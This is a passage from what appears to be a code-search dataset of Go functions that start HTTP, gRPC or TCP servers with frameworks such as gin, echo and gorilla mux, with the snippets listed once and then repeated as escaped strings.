callback.Handler)\n\tr.Handle(\"/user\", negroni.New(\n\t\tnegroni.HandlerFunc(middlewares.IsAuthenticated),\n\t\tnegroni.Wrap(http.HandlerFunc(user.Handler)),\n\t))\n\tr.PathPrefix(\"/public/\").Handler(http.StripPrefix(\"/public/\", http.FileServer(http.Dir(\"public/\"))))\n\thttp.Handle(\"/\", r)\n\tlog.Print(\"Server listening on http://localhost:3000/\")\n\treturn http.ListenAndServe(\"0.0.0.0:3000\", nil)\n}","func main() {\n\tservice.StartWebServer(\"8081\")\n}","func main() {\n\tr := gin.New()\n\tr.Use(cors.Default())\n\n\t//r.GET(\"/email\", ctrl.GenEmail)\n\tr.GET(\"/gentax\", ctrl.GenTaxData)\n\n\tr.Run(\":8099\")\n}","func (s *Server) Run() error {\n\t// start fetcher, reporter and doc generator in goroutines\n\tgo s.fetcher.Run()\n\tgo s.reporter.Run()\n\tgo s.docGenerator.Run()\n\n\t// start webserver\n\tlistenAddress := s.listenAddress\n\tif listenAddress == \"\" {\n\t\tlistenAddress = DefaultAddress\n\t}\n\n\tr := mux.NewRouter()\n\n\t// register ping api\n\tr.HandleFunc(\"/_ping\", pingHandler).Methods(\"GET\")\n\n\t// github webhook API\n\tr.HandleFunc(\"/events\", s.gitHubEventHandler).Methods(\"POST\")\n\n\t// travisCI webhook API\n\tr.HandleFunc(\"/ci_notifications\", s.ciNotificationHandler).Methods(\"POST\")\n\n\tlogrus.Infof(\"start http server on address %s\", listenAddress)\n\treturn http.ListenAndServe(listenAddress, r)\n}","func (s *Server) Run() {\n\tlog.Printf(\"[INFO] activate rest server on port %v\", s.Port)\n\tlog.Fatal(http.ListenAndServe(fmt.Sprintf(\"%v:%v\", s.address, s.Port), s.routes()))\n}","func (s *Server) Run(ctx context.Context, wg *sync.WaitGroup) {\n\tif err := s.Config.Validate(); err != nil {\n\t\tlog.Panicf(\"invalid server config: %s\\n\", err)\n\t}\n\n\thandler := &http.Server{\n\t\tHandler: s.Router,\n\t\tAddr: \":\" + strconv.Itoa(s.Config.Port),\n\t}\n\n\tstartServer(ctx, handler, wg)\n}","func main() {\n\n\t// This will pack config-files folder inside binary\n\t// you need rice utility for it\n\tbox := rice.MustFindBox(\"config-files\")\n\n\tinitErr := initializer.InitAll(box)\n\tif initErr != nil {\n\t\tlog.Fatalln(initErr)\n\t}\n\tr := gin.Default()\n\tpprof.Register(r)\n\tr.GET(\"/doc/*any\", ginSwagger.WrapHandler(swaggerFiles.Handler))\n\tdocs.SwaggerInfo.Host = \"\"\n\tr.GET(\"/\", func(c *gin.Context) {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"message\": \"Server is up and running!\",\n\t\t})\n\t})\n\tr.NoRoute(func(c *gin.Context) {\n\t\tc.JSON(404, gin.H{\"code\": \"RouteNotFound\"})\n\t})\n\tapi.InitAPI(r)\n\tgo func() {\n\t\terr := r.Run(\":9050\")\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}()\n\tstorage.GetStorageInstance().Close()\n}","func main() {\n\tgodotenv.Load()\n\n\tport := os.Getenv(\"REST_PORT\")\n\tif port == \"\" {\n\t\tport = \"8080\"\n\t}\n\n\tserver, err := start(port)\n\tif err != nil {\n\t\tlog.Println(\"err:\", err)\n\t\treturn\n\t}\n\n\terr = stopServer(server)\n\tif err != nil {\n\t\tlog.Println(\"err:\", err)\n\t\treturn\n\t}\n\n\treturn\n}","func run() error {\n\tlistenOn := \"127.0.0.1:8080\"\n\tlistener, err := net.Listen(\"tcp\", listenOn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen on %s: %w\", listenOn, err)\n\t}\n\n\tserver := grpc.NewServer()\n\tuserv1.RegisterUserServiceServer(server, &userServiceServer{})\n\tlog.Println(\"Listening on\", listenOn)\n\n\tif err := server.Serve(listener); err != nil {\n\t\treturn fmt.Errorf(\"failed to serve gRPC server: %w\", err)\n\t}\n\n\treturn nil\n}","func runAPIServer() {\n\trouter := gin.Default()\n\trouter.POST(\"/alert\", alert)\n\trouter.Run(\":\" + strconv.Itoa(config.APIPort))\n}","func startServer(dataSlice []string) {\n\te := echo.New()\n\n\te.GET(\"/\", func(f echo.Context) error {\n\t\treturn f.JSON(http.StatusOK, dataSlice)\n\t})\n\n\tfmt.Println(\"Server running: http://localhost:8000\")\n\te.Logger.Fatal(e.Start(\":8000\"))\n}","func Run(params *ContextParams) {\n\tr := createRouter(params)\n\n\tendless.DefaultHammerTime = 10 * time.Second\n\tendless.DefaultReadTimeOut = 295 * time.Second\n\tif err := endless.ListenAndServe(\":8080\", r); err != nil {\n\t\tlog.Infof(\"Server stopped: %s\", err)\n\t}\n}","func main() {\n\t// load config and construct the server shared environment\n\tcfg := common.LoadConfig()\n\tlog := services.NewLogger(cfg)\n\n\t// create repository\n\trepo, err := repository.NewRepository(cfg, log)\n\tif err != nil {\n\t\tlog.Fatalf(\"Can not create application data repository. Terminating!\")\n\t}\n\n\t// setup GraphQL API handler\n\thttp.Handle(\"/api\", handlers.ApiHandler(cfg, repo, log))\n\n\t// show the server opening info and start the server with DefaultServeMux\n\tlog.Infof(\"Welcome to Fantom Rocks API server on [%s]\", cfg.BindAddr)\n\tlog.Fatal(http.ListenAndServe(cfg.BindAddr, nil))\n}","func StartServer(port string) {\n\tr := gin.New()\n\tr.GET(\"/:p1\", middleWare)\n\tr.GET(\"/:p1/:p2\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8\", middleWare)\n\tr.Run(\":\" + port)\n}","func RunServer(configFile string) {\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, syscall.SIGTERM)\n\tserver, err := NewServer(configFile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Info(\"Gohan no jikan desuyo (It's time for dinner!)\")\n\tlog.Info(\"Build version: %s\", version.Build.Version)\n\tlog.Info(\"Build timestamp: %s\", version.Build.Timestamp)\n\tlog.Info(\"Build host: %s\", version.Build.Host)\n\tlog.Info(\"Starting Gohan Server...\")\n\taddress := server.address\n\tif strings.HasPrefix(address, \":\") {\n\t\taddress = \"localhost\" + address\n\t}\n\tprotocol := \"http\"\n\tif server.tls != nil {\n\t\tprotocol = \"https\"\n\t}\n\tlog.Info(\" API Server %s://%s/\", protocol, address)\n\tlog.Info(\" Web UI %s://%s/webui/\", protocol, address)\n\tgo func() {\n\t\tfor range c {\n\t\t\tlog.Info(\"Stopping the server...\")\n\t\t\tlog.Info(\"Tearing down...\")\n\t\t\tlog.Info(\"Stopping server...\")\n\t\t\tserver.Stop()\n\t\t}\n\t}()\n\tserver.running = true\n\tserver.masterCtx, server.masterCtxCancel = context.WithCancel(context.Background())\n\n\tserver.startSyncProcesses()\n\n\tstartCRONProcess(server)\n\tmetrics.StartMetricsProcess()\n\terr = server.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func (e *Engine) Run() error {\n\treturn e.gin.Run(\":\" + e.port)\n}","func main() {\n\n\t// Loads env variables\n\t//err := godotenv.Load()\n\t//if err != nil {\n\t//\tlog.Fatal(\"Error loading .env file\")\n\t//\treturn\n\t//}\n\n\t//http.HandleFunc(\"/\", handler)\n\t//log.Fatal(http.ListenAndServe(fmt.Sprintf(\":%s\", \"8080\"), nil))\n\tgodotenv.Load()\n\n\trouter := entry.Initialize()\n\trouter.Run(\":3000\")\n}","func main() {\n if len(os.Args) != 2 {\n log.Panic(\"args:\", \"\")\n }\n port := os.Args[1]\n startServer(port)\n}","func Run() {\n\tgetRoutes()\n\trouter.Run(\":5000\")\n}","func (s *Server) Start() (*gin.Engine, error) {\n\tif s.conf.Environment == \"production\" {\n\t\t//For release\n\t\tgin.SetMode(gin.ReleaseMode)\n\t}\n\n\t// Global middleware\n\ts.setMiddleWare()\n\n\t// Templates\n\ts.loadTemplates()\n\n\t// Static\n\ts.loadStaticFiles()\n\n\t// Set router (from urls.go)\n\ts.SetURLOnHTTP(s.gin)\n\n\t// Set Profiling\n\tif s.conf.Develop.ProfileEnable {\n\t\tginpprof.Wrapper(s.gin)\n\t}\n\n\tif s.isTestMode {\n\t\treturn s.gin, nil\n\t}\n\n\t// Run\n\terr := s.run()\n\treturn nil, err\n}","func main() {\n\tif len(os.Args) != 2 {\n\t\tlog.Fatal(\"Usage: ./server-go [server port]\")\n\t}\n\tserver_port := os.Args[1]\n\tserver(server_port)\n}","func (s *server) Run(addr string) error {\n\treturn http.ListenAndServe(addr, s.handler)\n}","func run(cfg config.Config, flags config.Flags) {\n\tdb.InitDb(cfg)\n\tburger.InitRepository(burger.NewMongoRepository(db.DB))\n\n\tif flags.Migrate {\n\t\tmigration.CreateCollections()\n\t}\n\n\tapi := http.Server{\n\t\tAddr: cfg.Web.Host + \":\" + cfg.Web.Port,\n\t\tHandler: routes.CreateHandlers(),\n\t\tReadTimeout: cfg.Web.Timeout.Read * time.Second,\n\t\tWriteTimeout: cfg.Web.Timeout.Write * time.Second,\n\t}\n\n\tif err := api.ListenAndServe(); err != nil {\n\t\tconfig.Logger.Println(\"ERROR\", err)\n\t}\n}","func (s *Server) Run(log *logrus.Entry) error {\n\ts.log = log.WithField(\"app\", AppName)\n\n\t// Init the app\n\ts.InitStart(log)\n\n\ts.gracefulServer = s.httpServer(s.log)\n\terr := s.gracefulServer.ListenAndServe()\n\tif err != nil && err != http.ErrServerClosed {\n\t\treturn err\n\t}\n\treturn nil\n}","func Run(addr string) {\n\tmainServer.Run(addr)\n}","func Run(ctx context.Context) error {\n\trouter := Router(ctx)\n\n\tviews.Routes(router)\n\n\trouter.Run(fmt.Sprintf(\":%d\", config.FromContext(ctx).Server.Port))\n\n\treturn nil\n}","func Run(h http.Handler) {\n\tsrv := createServer(h)\n\tgo gracefullyShutDownOnSignal(srv, context.Background())\n\tif err := srv.ListenAndServe(); err != http.ErrServerClosed {\n\t\tlog.Fatalf(\"Unable to to start server: %v\", err)\n\t}\n}","func run(configFile string) error {\n\tcfg, err := LoadConfig(configFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Start remote signer (must start before node if running builtin).\n\tif cfg.PrivValServer != \"\" {\n\t\tif err = startSigner(cfg); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif cfg.Protocol == \"builtin\" {\n\t\t\ttime.Sleep(1 * time.Second)\n\t\t}\n\t}\n\n\t// Start app server.\n\tswitch cfg.Protocol {\n\tcase \"socket\", \"grpc\":\n\t\terr = startApp(cfg)\n\tcase \"builtin\":\n\t\tif len(cfg.Misbehaviors) == 0 {\n\t\t\tif cfg.Mode == string(e2e.ModeLight) {\n\t\t\t\terr = startLightClient(cfg)\n\t\t\t} else {\n\t\t\t\terr = startNode(cfg)\n\t\t\t}\n\t\t} else {\n\t\t\terr = startMaverick(cfg)\n\t\t}\n\tdefault:\n\t\terr = fmt.Errorf(\"invalid protocol %q\", cfg.Protocol)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Apparently there's no way to wait for the server, so we just sleep\n\tfor {\n\t\ttime.Sleep(1 * time.Hour)\n\t}\n}","func main() {\n\thttp.ListenAndServe(\"127.0.0.1:8080\", NewServer())\n}","func (s *Server) Run() {\n\trouter := routes.ConfigRoutes(s.server)\n\n\tlog.Print(\"server is running at port: \", s.port)\n\tlog.Fatal(router.Run(\":\" + s.port))\n}","func (t *Loki) Run() error {\n\treturn t.server.Run()\n}","func (a *App) Run() {\n\tfmt.Println(\"Run\")\n\tdefer a.session.Close()\n\ta.server.Start()\n}","func (s *WebServer) Run(addr string) error {\n\tinitHandlers(s)\n\texpvar.Publish(\"Goroutines\", expvar.Func(func() interface{} {\n\t\treturn runtime.NumGoroutine()\n\t}))\n\n\thttp.Handle(\"/prom\", s.hub.Metrics.getHandler())\n\n\tsock, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo func() {\n\t\tfmt.Println(\"HTTP now available at\", addr)\n\t\tlog.Fatal(http.Serve(sock, nil))\n\t}()\n\treturn nil\n}","func startApp(cfg *Config) error {\n\tapp, err := app.NewApplication(cfg.App())\n\tif err != nil {\n\t\treturn err\n\t}\n\tserver, err := server.NewServer(cfg.Listen, cfg.Protocol, app)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = server.Start()\n\tif err != nil {\n\t\treturn err\n\t}\n\tlogger.Info(\"start app\", \"msg\", log.NewLazySprintf(\"Server listening on %v (%v protocol)\", cfg.Listen, cfg.Protocol))\n\treturn nil\n}","func (s *Server) Run(address string) error {\n\tlog.Printf(\"connect to http://localhost%s/ for GraphQL playground\", address)\n\ts.router.Handle(\"/\", playground.Handler(\"GraphQL playground\", \"/graphql\"))\n\ts.router.Handle(\"/graphql\", s.server)\n\treturn http.ListenAndServe(address, s.router)\n}","func main() {\n\tflag.BoolVar(&debug, \"debug\", false, \"Enable debug output\")\n\tflag.StringVar(&host, \"host\", \"127.0.0.1\", \"Host to listen on\")\n\tflag.StringVar(&port, \"port\", \"5000\", \"Port to listen on\")\n\tflag.Parse()\n\n\t// create the host:port string for use\n\tlistenAddress := fmt.Sprintf(\"%s:%s\", host, port)\n\tif debug {\n\t\tlog.Printf(\"Listening on %s\", listenAddress)\n\t}\n\n\t// Map /config to our configHandler and wrap it in the log middleware\n\thttp.Handle(\"/config/\", logMiddleware(http.HandlerFunc(configHandler)))\n\n\t// Run forever on all interfaces on port 5000\n\tlog.Fatal(http.ListenAndServe(listenAddress, nil))\n}","func main() {\n\tportNo := os.Args[1]\n\tstartServerMode(portNo)\n}","func startServer() {\n\tapi, err := gobroem.NewAPI(options.db)\n\tif err != nil {\n\t\tlog.Fatal(\"can not open db\", err)\n\t}\n\n\thttp.ListenAndServe(\n\t\tfmt.Sprintf(\"%s:%d\", options.host, options.port),\n\t\tapi.Handler(\"/\", \"/static/\"),\n\t)\n}","func main() {\n\te := godotenv.Load()\n\tif e != nil {\n\t\tfmt.Print(e)\n\t}\n\n\tr := routers.SetupRouter()\n\trouters.MirrorRouter(r)\n\trouters.ProxyRouter(r)\n\n\tport := os.Getenv(\"port\")\n\n\t// For run on requested port\n\tif len(os.Args) > 1 {\n\t\treqPort := os.Args[1]\n\t\tif reqPort != \"\" {\n\t\t\tport = reqPort\n\t\t}\n\t}\n\n\tif port == \"\" {\n\t\tport = \"8080\" //localhost\n\t}\n\ttype Job interface {\n\t\tRun()\n\t}\n\n\tr.Run(\":\" + port)\n}","func (s *server) Run(ctx context.Context) {\n\tif s.banner {\n\t\tfmt.Printf(\"%s\\n\\n\", config.Banner)\n\t}\n\n\tet, err := NewEchoTCP(s.address, s.verbose)\n\tif err != nil {\n\t\tlog.Fatal(err) // exit if creating EchoTCP is failed.\n\t}\n\tdefer et.listener.Close()\n\n\tfmt.Printf(\"server is started at %s\\n\", s.address)\n\tet.Run(ctx)\n}","func (s httpServer) Run(h http.Handler) {\n\ts.srv.Handler = h\n\tgo s.srv.ListenAndServe()\n}","func start (args *Args) (bool) {\n \n // initialization\n config := config.Initialize(args.Get(\"-f\"))\n \n // Set log Level and log file path\n log.SetLevel(log.Level(config.Log.Level))\n log.SetOutput(config.Log.Path)\n \n // create a server instance\n server := New(config)\n \n log.Infof(\"Socks5 server is starting....\\n\")\n\n // Start the server \n if (server.Start() != true) {\n log.Errorf(\"Statring socks failed\\n\")\n return false\n }\n \n return true\n}","func main() {\n\tif err := cmd.RunServer(); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"%v\\n\", err)\n\t\tos.Exit(1)\n\t}\n}","func (app *Application) Run() {\n\terr := app.Server.ListenAndServe()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n}","func (server Server) Run() error {\n\terr := server.supervisor.SpawnClient()\n\tif err != nil {\n\t\tserver.logger.Fatalf(\"Error in starting client: %s\", err)\n\t}\n\n\tgo listenForSMS(server.upstreamChannel, server.logger)\n\tserver.logger.Info(\"Listening for SMS\")\n\tserver.logger.Info(\"Starting Webserver\")\n\n\treturn server.webserver.Server.ListenAndServe()\n}","func main() {\n\t// Make websocket\n\tlog.Println(\"Starting sync server\")\n\n\t// TODO: Use command line flag credentials.\n\tclient, err := db.NewClient(\"localhost:28015\")\n\tif err != nil {\n\t\tlog.Fatal(\"Couldn't initialize database: \", err.Error())\n\t}\n\tdefer client.Close()\n\n\trouter := sync.NewServer(client)\n\n\t// Make web server\n\tn := negroni.Classic()\n\tn.UseHandler(router)\n\tn.Run(\":8000\")\n}","func (s *Server) Run() error {\n\treturn s.server.ListenAndServe()\n}","func (server *Server) Run(env string) error {\n\n\t// load configuration\n\tj := config.LoadJWT(env)\n\n\tr := gin.Default()\n\n\t// middleware\n\tmw.Add(r, cors.Default())\n\tjwt := mw.NewJWT(j)\n\tm := mail.NewMail(config.GetMailConfig(), config.GetSiteConfig())\n\tmobile := mobile.NewMobile(config.GetTwilioConfig())\n\tdb := config.GetConnection()\n\tlog, _ := zap.NewDevelopment()\n\tdefer log.Sync()\n\n\t// setup default routes\n\trsDefault := &route.Services{\n\t\tDB: db,\n\t\tLog: log,\n\t\tJWT: jwt,\n\t\tMail: m,\n\t\tMobile: mobile,\n\t\tR: r}\n\trsDefault.SetupV1Routes()\n\n\t// setup all custom/user-defined route services\n\tfor _, rs := range server.RouteServices {\n\t\trs.SetupRoutes()\n\t}\n\n\tport, ok := os.LookupEnv(\"PORT\")\n\tif !ok {\n\t\tport = \"8080\"\n\t}\n\n\t// run with port from config\n\treturn r.Run(\":\" + port)\n}","func (f *Flame) Run(args ...interface{}) {\n\thost := \"0.0.0.0\"\n\tport := \"2830\"\n\n\tif addr := os.Getenv(\"FLAMEGO_ADDR\"); addr != \"\" {\n\t\tfields := strings.SplitN(addr, \":\", 2)\n\t\thost = fields[0]\n\t\tport = fields[1]\n\t}\n\n\tif len(args) == 1 {\n\t\tswitch arg := args[0].(type) {\n\t\tcase string:\n\t\t\thost = arg\n\t\tcase int:\n\t\t\tport = strconv.Itoa(arg)\n\t\t}\n\t} else if len(args) >= 2 {\n\t\tif arg, ok := args[0].(string); ok {\n\t\t\thost = arg\n\t\t}\n\t\tif arg, ok := args[1].(int); ok {\n\t\t\tport = strconv.Itoa(arg)\n\t\t}\n\t}\n\n\taddr := host + \":\" + port\n\tlogger := f.Value(reflect.TypeOf(f.logger)).Interface().(*log.Logger)\n\tlogger.Printf(\"Listening on %s (%s)\\n\", addr, Env())\n\n\tserver := &http.Server{\n\t\tAddr: addr,\n\t\tHandler: f,\n\t}\n\tgo func() {\n\t\tif err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t\tlogger.Fatalln(err)\n\t\t}\n\t}()\n\n\t<-f.stop\n\n\tif err := server.Shutdown(gocontext.Background()); err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\tlogger.Println(\"Server stopped\")\n}","func Run(c *Config) {\n\tlog.Print(\"Starting Ngao server\")\n\tlog.Printf(\"Listening on '%s', Serving: %s://%s\",\n\t\tc.ListenAddr, c.Scheme, c.Host)\n\tlog.Printf(\"Max sessions: %d. Older sessions cleared every: %d secs\",\n\t\tc.TotalAllowed, c.ClearInterval)\n\n\ttotalAllowed = c.TotalAllowed\n\tclearInterval = c.ClearInterval\n\tinitConf()\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\trProxy(c.ListenAddr, c.Host, c.Scheme)\n\t\twg.Done()\n\t}()\n\twg.Add(1)\n\tgo func() {\n\t\t// Launch session queues manager\n\t\tmanager()\n\t\twg.Done()\n\t}()\n\twg.Wait()\n}","func (s *Server) Run(addr string) error {\n\tsvr := s.prepare(addr)\n\ts.logger.Info(\"start server\")\n\treturn svr.ListenAndServe()\n}","func main() {\n\t// ****************************************\n\t// ********** Create Exporter *************\n\t// ****************************************\n\n\t// Export trace to stdout\n\texporter := rkgintrace.CreateFileExporter(\"stdout\")\n\n\t// Export trace to local file system\n\t// exporter := rkgintrace.CreateFileExporter(\"logs/trace.log\")\n\n\t// Export trace to jaeger collector\n\t// exporter := rkgintrace.CreateJaegerExporter(\"localhost:14268\", \"\", \"\")\n\n\t// ********************************************\n\t// ********** Enable interceptors *************\n\t// ********************************************\n\tinterceptors := []gin.HandlerFunc{\n\t\trkginlog.Interceptor(),\n\t\trkgintrace.Interceptor(\n\t\t\t// Entry name and entry type will be used for distinguishing interceptors. Recommended.\n\t\t\t// rkgintrace.WithEntryNameAndType(\"greeter\", \"grpc\"),\n\t\t\t//\n\t\t\t// Provide an exporter.\n\t\t\trkgintrace.WithExporter(exporter),\n\t\t//\n\t\t// Provide propagation.TextMapPropagator\n\t\t// rkgintrace.WithPropagator(),\n\t\t//\n\t\t// Provide SpanProcessor\n\t\t// rkgintrace.WithSpanProcessor(),\n\t\t//\n\t\t// Provide TracerProvider\n\t\t// rkgintrace.WithTracerProvider(),\n\t\t),\n\t}\n\n\t// 1: Create gin server\n\tserver := startGreeterServer(interceptors...)\n\tdefer server.Shutdown(context.TODO())\n\n\t// 2: Wait for ctrl-C to shutdown server\n\trkentry.GlobalAppCtx.WaitForShutdownSig()\n}"],"string":"[\n \"func main() {\\n\\trouter := gin.Default()\\n\\trouter.GET(\\\"/ping\\\", func(c *gin.Context) {\\n\\t\\tc.JSON(200, gin.H{\\n\\t\\t\\t\\\"message\\\": \\\"pong\\\",\\n\\t\\t})\\n\\t})\\n\\trouter.Run() // listen and serve on 0.0.0.0:8080\\n\\t//router.Run(\\\":8080\\\")\\t\\n}\",\n \"func main() {\\n\\t// load config\\n\\tconfig.Init()\\n\\n\\t// services\\n\\tservices.Init()\\n\\n\\t// start gin server\\n\\trouter.RunGin()\\n}\",\n \"func Gin(port int, setup func(*gin.Engine)) *cobra.Command {\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"start\\\",\\n\\t\\tShort: \\\"start a gin server\\\",\\n\\t}\\n\\n\\tactualPort := cmd.Flags().Int(\\\"port\\\", port, fmt.Sprintf(\\\"port to bind to, defaults to %d\\\", port))\\n\\n\\tcmd.RunE = func(cmd *cobra.Command, args []string) error {\\n\\t\\tsrv := gin.Default()\\n\\t\\tsetup(srv)\\n\\n\\t\\treturn srv.Run(fmt.Sprintf(\\\":%d\\\", *actualPort))\\n\\t}\\n\\n\\treturn cmd\\n}\",\n \"func main() {\\n\\tfmt.Println(\\\"server is up and running!!\\\")\\n\\truntime.GOMAXPROCS(4)\\n\\n\\tapp := gin.Default()\\n\\n\\tsearch.RouterMain(app)\\n\\n\\terr := app.Run(\\\"0.0.0.0:5000\\\")\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tfmt.Println(\\\"server got fired!!!!\\\")\\n}\",\n \"func (s *server) Run() error {\\n\\ts.logger.Info(\\\"starting http server\\\", logger.String(\\\"addr\\\", s.server.Addr))\\n\\ts.server.Handler = s.gin\\n\\t// Open listener.\\n\\ttrackedListener, err := conntrack.NewTrackedListener(\\\"tcp\\\", s.addr, s.r)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn s.server.Serve(trackedListener)\\n}\",\n \"func (h *Server) Run() {\\n\\n\\th.g.StartServer()\\n}\",\n \"func (c Routes) StartGin() {\\n\\tr := gin.Default()\\n\\tapi := r.Group(\\\"/api\\\")\\n\\t{\\n\\t\\tapi.GET(\\\"/\\\", welcome)\\n\\t\\tapi.GET(\\\"/users\\\", user.GetAllUsers)\\n\\t\\tapi.POST(\\\"/users\\\", user.CreateUser)\\n\\t}\\n\\tr.Run(\\\":8000\\\")\\n}\",\n \"func (c Routes) StartGin() {\\n\\tr := gin.Default()\\n\\tr.Use(cors.Default())\\n\\tapi := r.Group(\\\"/api\\\")\\n\\t{\\n\\t\\tapi.GET(\\\"/\\\", welcome)\\n\\t\\tapi.GET(tasksResource, task.GetTasks)\\n\\t\\tapi.GET(taskResource, task.GetTask)\\n\\t\\tapi.POST(taskResource, task.CreateTask)\\n\\t\\tapi.PATCH(taskResource, task.UpdateTaskStatus)\\n\\t\\tapi.DELETE(taskResource, task.DeleteTask)\\n\\t}\\n\\n\\tr.Run(\\\":8000\\\")\\n}\",\n \"func main() {\\n\\trouter := gin.Default()\\n\\trouter.GET(\\\"/puppy\\\", handlePuppy)\\n\\trouter.Run() // listen and serve on 0.0.0.0:8080 (for windows \\\"localhost:8080\\\")\\n}\",\n \"func (api *API) Run() {\\n\\tr := gin.Default()\\n\\n\\tapi.configRoutes(r)\\n\\n\\tr.Run() // listen and serve on 0.0.0.0:8080 (for windows \\\"localhost:8080\\\")\\n}\",\n \"func (s *server) runGin(addr string) error {\\n\\t// s.gin.Run() would not return until error happens or detecting signal\\n\\t// return s.gin.Run(fmt.Sprintf(\\\":%d\\\", s.port))\\n\\ts.logger.Debug(fmt.Sprintf(\\\"Listening and serving HTTP on %s\\\", addr))\\n\\n\\tsrv := &http.Server{\\n\\t\\tAddr: addr,\\n\\t\\tHandler: s.gin,\\n\\t}\\n\\tgo func() {\\n\\t\\tif err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {\\n\\t\\t\\ts.logger.Error(\\\"fail to call ListenAndServe()\\\", zap.Error(err))\\n\\t\\t}\\n\\t}()\\n\\tdone := make(chan os.Signal, 1)\\n\\tsignal.Notify(done, syscall.SIGINT, syscall.SIGTERM)\\n\\t<-done\\n\\n\\ts.logger.Info(\\\"Shutting down server...\\\")\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer func() {\\n\\t\\tcancel()\\n\\t\\ts.Close()\\n\\t}()\\n\\tif err := srv.Shutdown(ctx); err != nil {\\n\\t\\ts.logger.Error(\\\"fatal to call Shutdown():\\\", zap.Error(err))\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func StartServer() {\\n\\tr := gin.Default()\\n\\n\\tcorsCfg := cors.DefaultConfig()\\n\\tcorsCfg.AllowOrigins = []string{\\\"http://localhost:1234\\\"}\\n\\tr.Use(cors.New(corsCfg))\\n\\n\\tapi := r.Group(\\\"/api\\\")\\n\\t{\\n\\t\\tapi.Any(\\\"/graphql\\\", graphQL)\\n\\t\\tapi.GET(\\\"/players\\\", players)\\n\\t\\tapi.GET(\\\"/player_datas\\\", playerDatas)\\n\\t}\\n\\n\\tport := os.Getenv(\\\"PORT\\\")\\n\\tif len(port) == 0 {\\n\\t\\tport = \\\"8080\\\"\\n\\t}\\n\\tr.Run(fmt.Sprintf(\\\":%s\\\", port))\\n}\",\n \"func runServer() {\\n\\t// listen and serve on 0.0.0.0:8080 (for windows \\\"localhost:8080\\\")\\n\\tlog.Fatalln(router.Run(fmt.Sprintf(\\\":%s\\\", env.AppPort)))\\n}\",\n \"func (s Server) Run() {\\n\\tlog.Printf(\\\"[INFO] activate rest server\\\")\\n\\n\\tgin.SetMode(gin.ReleaseMode)\\n\\trouter := gin.New()\\n\\trouter.Use(gin.Recovery())\\n\\trouter.Use(s.limiterMiddleware())\\n\\trouter.Use(s.loggerMiddleware())\\n\\n\\tv1 := router.Group(\\\"/v1\\\")\\n\\t{\\n\\t\\tv1.POST(\\\"/message\\\", s.saveMessageCtrl)\\n\\t\\tv1.GET(\\\"/message/:key/:pin\\\", s.getMessageCtrl)\\n\\t\\tv1.GET(\\\"/params\\\", s.getParamsCtrl)\\n\\t\\tv1.GET(\\\"/ping\\\", func(c *gin.Context) { c.String(200, \\\"pong\\\") })\\n\\t}\\n\\n\\tlog.Fatal(router.Run(\\\":8080\\\"))\\n}\",\n \"func (server *Server) runServer() {\\n\\tserver.G.Go(func() error {\\n\\t\\tserver.API.log.Info(\\\"running server %v\\\", server.config.Server.ListenAddr)\\n\\t\\treturn http.ListenAndServe(server.config.Server.ListenAddr, server.Server.Handler)\\n\\t})\\n}\",\n \"func (s *Server) Run() {\\n\\trouter := gin.Default()\\n\\n\\tv1 := router.Group(\\\"/v1\\\")\\n\\t{\\n\\t\\tv1.POST(\\\"/login\\\", s.authMiddleware.LoginHandler)\\n\\t\\tv1.POST(\\\"/users\\\", s.createUser)\\n\\n\\t\\tv1.Use(s.authMiddleware.MiddlewareFunc())\\n\\t\\t{\\n\\n\\t\\t\\tv1.GET(\\\"/tasks\\\", s.allTasks)\\n\\t\\t\\tv1.GET(\\\"/tasks/:id\\\", s.getTask)\\n\\t\\t\\tv1.POST(\\\"/tasks\\\", s.createTask)\\n\\t\\t\\tv1.PUT(\\\"/tasks/:id\\\", s.updateTask)\\n\\t\\t}\\n\\t}\\n\\n\\trouter.Run(\\\":\\\" + s.config.Port)\\n}\",\n \"func Run() error {\\n\\tgo server.ListenAndServe()\\n\\t// TODO: Improve error handling\\n\\treturn nil\\n}\",\n \"func Run() error {\\n\\tcloseLogger, err := setupLogger()\\n\\tif err != nil {\\n\\t\\treturn fail.Wrap(err)\\n\\t}\\n\\tdefer closeLogger()\\n\\n\\ts := grapiserver.New(\\n\\t\\tgrapiserver.WithGrpcServerUnaryInterceptors(\\n\\t\\t\\tgrpc_ctxtags.UnaryServerInterceptor(grpc_ctxtags.WithFieldExtractor(grpc_ctxtags.CodeGenRequestFieldExtractor)),\\n\\t\\t\\tgrpc_zap.UnaryServerInterceptor(zap.L()),\\n\\t\\t\\tgrpc_zap.PayloadUnaryServerInterceptor(\\n\\t\\t\\t\\tzap.L(),\\n\\t\\t\\t\\tfunc(ctx context.Context, fullMethodName string, servingObject interface{}) bool { return true 